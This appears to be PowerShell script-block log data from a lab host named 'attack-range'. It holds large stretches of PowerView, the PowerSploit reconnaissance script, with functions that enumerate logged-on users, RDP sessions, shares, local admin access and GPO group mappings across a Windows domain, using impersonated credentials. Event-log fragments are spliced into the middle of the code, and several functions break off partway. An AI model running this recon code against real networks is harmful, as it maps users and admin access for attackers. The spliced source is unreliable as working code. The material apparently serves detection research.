logged on users SID and then attempt and reverse it.
Adapted technique from Sysinternal's PSLoggedOn script. Benefit over
using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges
required (NetWkstaUserEnum requires remote admin access).
.PARAMETER ComputerName
Specifies the hostname to query for remote registry values (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system using Invoke-UserImpersonation.
.EXAMPLE
Get-RegLoggedOn
Returns users actively logged onto the local host.
.EXAMPLE
Get-RegLoggedOn -ComputerName sqlserver
Returns users actively logged onto the 'sqlserver' host.
.EXAMPLE
Get-DomainController | Get-RegLoggedOn
Returns users actively logged on all domain controllers.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-RegLoggedOn -ComputerName sqlserver -Credential $Cred
.OUTPUTS
PowerView.RegLoggedOnUser
A PSCustomObject including the UserDomain/UserName/UserSID of each
actively logged on user, with the ComputerName added.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.RegLoggedOnUser')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost'
)
BEGIN {
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
ForEach ($Computer in $ComputerName) {
try {
# retrieve HKU remote registry values
$Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName")
# sort out bogus sid's like _class
$Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object {
$UserName = ConvertFrom-SID -ObjectSID $_ -OutputType 'DomainSimple'
if ($UserName) {
$UserName, $UserDomain = $UserName.Split('@')
}
else {
$UserName = $_
$UserDomain = $Null
}
$RegLoggedOnUser = New-Object PSObject
$RegLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName"
$RegLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain
$RegLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName
$RegLoggedOnUser | Add-Member Noteproperty 'UserSID' $_
$RegLoggedOnUser.PSObject.TypeNames.Insert(0, 'PowerView.RegLoggedOnUser')
$RegLoggedOnUser
}
}
catch {
Write-Verbose "[Get-RegLoggedOn] Error opening remote registry on '$ComputerName' : $_"
}
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-NetRDPSession {
<#
.SYNOPSIS
Returns remote desktop/session information for the local (or a remote) machine.
Note: only members of the Administrators or Account Operators local group
can successfully execute this functionality on a remote target.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
.DESCRIPTION
This function will execute the WTSEnumerateSessionsEx and WTSQuerySessionInformation
Win32API calls to query a given RDP remote service for active sessions and originating
IPs. This is a replacement for qwinsta.
.PARAMETER ComputerName
Specifies the hostname to query for active sessions (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system using Invoke-UserImpersonation.
.EXAMPLE
Get-NetRDPSession
Returns active RDP/terminal sessions on the local host.
.EXAMPLE
Get-NetRDPSession -ComputerName "sqlserver"
Returns active RDP/terminal sessions on the 'sqlserver' host.
.EXAMPLE
Get-DomainController | Get-NetRDPSession
Returns active RDP/terminal sessions on all domain controllers.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-NetRDPSession -ComputerName sqlserver -Credential $Cred
.OUTPUTS
PowerView.RDPSessionInfo
A PSCustomObject representing a combined WTS_SESSION_INFO_1 and WTS_CLIENT_ADDRESS structure,
with the ComputerName added.
.LINK
https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx
#>
[OutputType('PowerView.RDPSessionInfo')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
ForEach ($Computer in $ComputerName) {
# open up a handle to the Remote Desktop Session host
$Handle = $Wtsapi32::WTSOpenServerEx($Computer)
# if we get a non-zero handle back, everything was successful
if ($Handle -ne 0) {
# arguments for WTSEnumerateSessionsEx
$ppSessionInfo = [IntPtr]::Zero
$pCount = 0
# get information on all current sessions
$Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
# locate the offset of the initial intPtr
$Offset = $ppSessionInfo.ToInt64()
if (($Result -ne 0) -and ($Offset -gt 0)) {
# work out how much to increment the pointer by finding out the size of the structure
$Increment = $WTS_SESSION_INFO_1::GetSize()
# parse all the result structures
for ($i = 0; ($i -lt $pCount); $i++) {
# create a new int ptr at the given offset and cast the pointer as our result structure
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
$Info = $NewIntPtr -as $WTS_SESSION_INFO_1
$RDPSession = New-Object PSObject
if ($Info.pHostName) {
$RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName
}
else {
# if no hostname returned, use the specified hostname
$RDPSession | Add-Member Noteproperty 'ComputerName' $Computer
}
$RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName
if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) {
# if a domain isn't returned just use the username
$RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)"
}
else {
$RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)"
}
$RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID
$RDPSession | Add-Member Noteproperty 'State' $Info.State
$ppBuffer = [IntPtr]::Zero
$pBytesReturned = 0
# query for the source client IP with WTSQuerySessionInformation
# https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx
$Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
if ($Result2 -eq 0) {
Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError2).Message)"
}
else {
$Offset2 = $ppBuffer.ToInt64()
$NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2
$Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS
$SourceIP = $Info2.Address
if ($SourceIP[2] -ne 0) {
$SourceIP = [String]$SourceIP[2]+'.'+[String]$SourceIP[3]+'.'+[String]$SourceIP[4]+'.'+[String]$SourceIP[5]
}
else {
$SourceIP = $Null
}
$RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP
$RDPSession.PSObject.TypeNames.Insert(0, 'PowerView.RDPSessionInfo')
$RDPSession
# free up the memory buffer
$Null = $Wtsapi32::WTSFreeMemory($ppBuffer)
$Offset += $Increment
}
}
# free up the memory result buffer
$Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount)
}
else {
Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
# close off the service handle
$Null = $Wtsapi32::WTSCloseServer($Handle)
}
else {
Write-Verbose "[Get-NetRDPSession] Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName"
}
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Test-AdminAccess {
<#
.SYNOPSIS
Tests if the current user has administrative access to the local (or a remote) machine.
Idea stolen from the local_admin_search_enum post module in Metasploit written by:
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'
'Royce Davis "r3dy" <rdavis[at]accuvant.com>'
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
.DESCRIPTION
This function will use the OpenSCManagerW Win32API call to establish
a handle to the remote host. If this succeeds, the current user context
has local administrator acess to the target.
.PARAMETER ComputerName
Specifies the hostname to check for local admin access (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system using Invoke-UserImpersonation.
.EXAMPLE
Test-AdminAccess -ComputerName sqlserver
Returns results indicating whether the current user has admin access to the 'sqlserver' host.
.EXAMPLE
Get-DomainComputer | Test-AdminAccess
Returns what machines in the domain the current user has access to.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Test-AdminAccess -ComputerName sqlserver -Credential $Cred
.OUTPUTS
PowerView.AdminAccess
A PSCustomObject containing the ComputerName and 'IsAdmin' set to whether
the current user has local admin rights, along with the ComputerName added.
.LINK
https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb
http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
#>
[OutputType('PowerView.AdminAccess')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
ForEach ($Computer in $ComputerName) {
# 0xF003F - SC_MANAGER_ALL_ACCESS
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
$Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
$IsAdmin = New-Object PSObject
$IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer
# if we get a non-zero handle back, everything was successful
if ($Handle -ne 0) {
$Null = $Advapi32::CloseServiceHandle($Handle)
$IsAdmin | Add-Member Noteproperty 'IsAdmin' $True
}
else {
Write-Verbose "[Test-AdminAccess] Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
$IsAdmin | Add-Member Noteproperty 'IsAdmin' $False
}
$IsAdmin.PSObject.TypeNames.Insert(0, 'PowerView.AdminAccess')
$IsAdmin
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-NetComputerSiteName {
<#
.SYNOPSIS
Returns the AD site where the local (or a remote) machine resides.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
.DESCRIPTION
This function will use the DsGetSiteName Win32API call to look up the
name of the site where a specified computer resides.
.PARAMETER ComputerName
Specifies the hostname to check the site for (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system using Invoke-UserImpersonation.
.EXAMPLE
Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local
Returns the site for WINDOWS1.testlab.local.
.EXAMPLE
Get-DomainComputer | Get-NetComputerSiteName
Returns the sites for every machine in AD.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local -Credential $Cred
.OUTPUTS
PowerView.ComputerSite
A PSCustomObject containing the ComputerName, IPAddress, and associated Site name.
#>
[OutputType('PowerView.ComputerSite')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
ForEach ($Computer in $ComputerName) {
# if we get an IP address, try to resolve the IP to a hostname
if ($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') {
$IPAddress = $Computer
$Computer = [System.Net.Dns]::GetHostByAddress($Computer) | Select-Object -ExpandProperty HostName
}
else {
$IPAddress = @(Resolve-IPAddress -ComputerName $Computer)[0].IPAddress
}
$PtrInfo = [IntPtr]::Zero
$Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo)
$ComputerSite = New-Object PSObject
$ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer
e66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1
4104132150x0122632Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local3144 $_ | Add-Member Noteproperty 'IsDomain' 'UNKNOWN'
}
}
}
$Members
}
else {
Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
}
}
else {
# otherwise we're using the WinNT service provider
try {
$GroupProvider = [ADSI]"WinNT://$Computer/$GroupName,group"
$GroupProvider.psbase.Invoke('Members') | ForEach-Object {
$Member = New-Object PSObject
$Member | Add-Member Noteproperty 'ComputerName' $Computer
$Member | Add-Member Noteproperty 'GroupName' $GroupName
$LocalUser = ([ADSI]$_)
$AdsPath = $LocalUser.InvokeGet('AdsPath').Replace('WinNT://', '')
$IsGroup = ($LocalUser.SchemaClassName -like 'group')
if(([regex]::Matches($AdsPath, '/')).count -eq 1) {
# DOMAIN\user
$MemberIsDomain = $True
$Name = $AdsPath.Replace('/', '\')
}
else {
# DOMAIN\machine\user
$MemberIsDomain = $False
$Name = $AdsPath.Substring($AdsPath.IndexOf('/')+1).Replace('/', '\')
}
$Member | Add-Member Noteproperty 'AccountName' $Name
$Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value)
$Member | Add-Member Noteproperty 'IsGroup' $IsGroup
$Member | Add-Member Noteproperty 'IsDomain' $MemberIsDomain
# if ($MemberIsDomain) {
# # translate the binary sid to a string
# $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value)
# $Member | Add-Member Noteproperty 'Description' ''
# $Member | Add-Member Noteproperty 'Disabled' ''
# if ($IsGroup) {
# $Member | Add-Member Noteproperty 'LastLogin' ''
# }
# else {
# try {
# $Member | Add-Member Noteproperty 'LastLogin' $LocalUser.InvokeGet('LastLogin')
# }
# catch {
# $Member | Add-Member Noteproperty 'LastLogin' ''
# }
# }
# $Member | Add-Member Noteproperty 'PwdLastSet' ''
# $Member | Add-Member Noteproperty 'PwdExpired' ''
# $Member | Add-Member Noteproperty 'UserFlags' ''
# }
# else {
# # translate the binary sid to a string
# $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value)
# $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description)
# if ($IsGroup) {
# $Member | Add-Member Noteproperty 'PwdLastSet' ''
# $Member | Add-Member Noteproperty 'PwdExpired' ''
# $Member | Add-Member Noteproperty 'UserFlags' ''
# $Member | Add-Member Noteproperty 'Disabled' ''
# $Member | Add-Member Noteproperty 'LastLogin' ''
# }
# else {
# $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0]))
# $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1')
# $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] )
# # UAC flags of 0x2 mean the account is disabled
# $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.UserFlags.value -band 2) -eq 2)
# try {
# $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0])
# }
# catch {
# $Member | Add-Member Noteproperty 'LastLogin' ''
# }
# }
# }
$Member
}
}
catch {
Write-Verbose "[Get-NetLocalGroupMember] Error for $Computer : $_"
}
}
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-NetShare {
<#
.SYNOPSIS
Returns open shares on the local (or a remote) machine.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
.DESCRIPTION
This function will execute the NetShareEnum Win32API call to query
a given host for open shares. This is a replacement for "net share \\hostname".
.PARAMETER ComputerName
Specifies the hostname to query for shares (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system using Invoke-UserImpersonation.
.EXAMPLE
Get-NetShare
Returns active shares on the local host.
.EXAMPLE
Get-NetShare -ComputerName sqlserver
Returns active shares on the 'sqlserver' host
.EXAMPLE
Get-DomainComputer | Get-NetShare
Returns all shares for all computers in the domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-NetShare -ComputerName sqlserver -Credential $Cred
.OUTPUTS
PowerView.ShareInfo
A PSCustomObject representing a SHARE_INFO_1 structure, including
the name/type/remark for each share, with the ComputerName added.
.LINK
http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
#>
[OutputType('PowerView.ShareInfo')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
ForEach ($Computer in $ComputerName) {
# arguments for NetShareEnum
$QueryLevel = 1
$PtrInfo = [IntPtr]::Zero
$EntriesRead = 0
$TotalRead = 0
$ResumeHandle = 0
# get the raw share information
$Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
# locate the offset of the initial intPtr
$Offset = $PtrInfo.ToInt64()
# 0 = success
if (($Result -eq 0) -and ($Offset -gt 0)) {
# work out how much to increment the pointer by finding out the size of the structure
$Increment = $SHARE_INFO_1::GetSize()
# parse all the result structures
for ($i = 0; ($i -lt $EntriesRead); $i++) {
# create a new int ptr at the given offset and cast the pointer as our result structure
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
$Info = $NewIntPtr -as $SHARE_INFO_1
# return all the sections of the structure - have to do it this way for V2
$Share = $Info | Select-Object *
$Share | Add-Member Noteproperty 'ComputerName' $Computer
$Share.PSObject.TypeNames.Insert(0, 'PowerView.ShareInfo')
$Offset = $NewIntPtr.ToInt64()
$Offset += $Increment
$Share
}
# free up the result buffer
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
}
else {
Write-Verbose "[Get-NetShare] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
}
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-NetLoggedon {
<#
.SYNOPSIS
Returns users logged on the local (or a remote) machine.
Note: administrative rights needed for newer Windows OSes.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
.DESCRIPTION
This function will execute the NetWkstaUserEnum Win32API call to query
a given host for actively logged on users.
.PARAMETER ComputerName
Specifies the hostname to query for logged on users (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system using Invoke-UserImpersonation.
.EXAMPLE
Get-NetLoggedon
Returns users actively logged onto the local host.
.EXAMPLE
Get-NetLoggedon -ComputerName sqlserver
Returns users actively logged onto the 'sqlserver' host.
.EXAMPLE
Get-DomainComputer | Get-NetLoggedon
Returns all logged on users for all computers in the domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-NetLoggedon -ComputerName sqlserver -Credential $Cred
.OUTPUTS
PowerView.LoggedOnUserInfo
A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including
the UserName/LogonDomain/AuthDomains/LogonServer for each user, with the ComputerName added.
.LINK
http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
#>
[OutputType('PowerView.LoggedOnUserInfo')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
ForEach ($Computer in $ComputerName) {
# declare the reference variables
$QueryLevel = 1
$PtrInfo = [IntPtr]::Zero
$EntriesRead = 0
$TotalRead = 0
$ResumeHandle = 0
# get logged on user information
$Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
# locate the offset of the initial intPtr
$Offset = $PtrInfo.ToInt64()
# 0 = success
if (($Result -eq 0) -and ($Offset -gt 0)) {
# work out how much to increment the pointer by finding out the size of the structure
$Increment = $WKSTA_USER_INFO_1::GetSize()
# parse all the result structures
for ($i = 0; ($i -lt $EntriesRead); $i++) {
# create a new int ptr at the given offset and cast the pointer as our result structure
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
$Info = $NewIntPtr -as $WKSTA_USER_INFO_1
# return all the sections of the structure - have to do it this way for V2
$LoggedOn = $Info | Select-Object *
$LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
$LoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LoggedOnUserInfo')
$Offset = $NewIntPtr.ToInt64()
$Offset += $Increment
$LoggedOn
}
# free up the result buffer
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
}
else {
Write-Verbose "[Get-NetLoggedon] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
}
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-NetSession {
<#
.SYNOPSIS
Returns session information for the local (or a remote) machine.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
.DESCRIPTION
This function will execute the NetSessionEnum Win32API call to query
a given host for active sessions.
.PARAMETER ComputerName
Specifies the hostname to query for sessions (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system using Invoke-UserImpersonation.
.EXAMPLE
Get-NetSession
Returns active sessions on the local host.
.EXAMPLE
Get-NetSession -ComputerName sqlserver
Returns active sessions on the 'sqlserver' host.
.EXAMPLE
Get-DomainController | Get-NetSession
Returns active sessions on all domain controllers.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-NetSession -ComputerName sqlserver -Credential $Cred
.OUTPUTS
PowerView.SessionInfo
A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including
the CName/UserName/Time/IdleTime for each session, with the ComputerName added.
.LINK
http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
#>
[OutputType('PowerView.SessionInfo')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
ForEach ($Computer in $ComputerName) {
# arguments for NetSessionEnum
$QueryLevel = 10
$PtrInfo = [IntPtr]::Zero
$EntriesRead = 0
$TotalRead = 0
$ResumeHandle = 0
# get session information
$Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
# locate the offset of the initial intPtr
$Offset = $PtrInfo.ToInt64()
# 0 = success
if (($Result -eq 0) -and ($Offset -gt 0)) {
# work out how much to increment the pointer by finding out the size of the structure
$Increment = $SESSION_INFO_10::GetSize()
# parse all the result structures
for ($i = 0; ($i -lt $EntriesRead); $i++) {
# create a new int ptr at the given offset and cast the pointer as our result structure
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
$Info = $NewIntPtr -as $SESSION_INFO_10
# return all the sections of the structure - have to do it this way for V2
$Session = $Info | Select-Object *
$Session | Add-Member Noteproperty 'ComputerName' $Computer
$Session.PSObject.TypeNames.Insert(0, 'PowerView.SessionInfo')
$Offset = $NewIntPtr.ToInt64()
$Offset += $Increment
$Session
}
# free up the result buffer
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
}
else {
Write-Verbose "[Get-NetSession] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
}
}
}
END {
if ($LogonTokene66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1
4104132150x0122630Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local2944upSID
}
$Filters = $_.Filters
if ($TargetSIDs[0] -eq '*') {
# if the * wildcard was used, set the targets to all GPO members so everything it output
$TargetObjectSIDs = $GPOMembers
}
else {
$TargetObjectSIDs = $TargetObjectSID
}
# find any OUs that have this GPO linked through gpLink
Get-DomainOU @CommonArguments -Raw -Properties 'name,distinguishedname' -GPLink $GPOGuid | ForEach-Object {
if ($Filters) {
$OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname,distinguishedname' -SearchBase $_.Path | Where-Object {$_.distinguishedname -match ($Filters.Value)} | Select-Object -ExpandProperty dnshostname
}
else {
$OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname' -SearchBase $_.Path | Select-Object -ExpandProperty dnshostname
}
if ($OUComputers) {
if ($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)}
ForEach ($TargetSid in $TargetObjectSIDs) {
$Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid'
$IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
$GPOLocalGroupMapping = New-Object PSObject
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
$GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain
$GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType
$GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.Properties.distinguishedname
$GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $OUComputers
$GPOLocalGroupMapping.PSObject.TypeNames.Insert(0, 'PowerView.GPOLocalGroupMapping')
$GPOLocalGroupMapping
}
}
}
# find any sites that have this GPO linked through gpLink
Get-DomainSite @CommonArguments -Properties 'siteobjectbl,distinguishedname' -GPLink $GPOGuid | ForEach-Object {
ForEach ($TargetSid in $TargetObjectSIDs) {
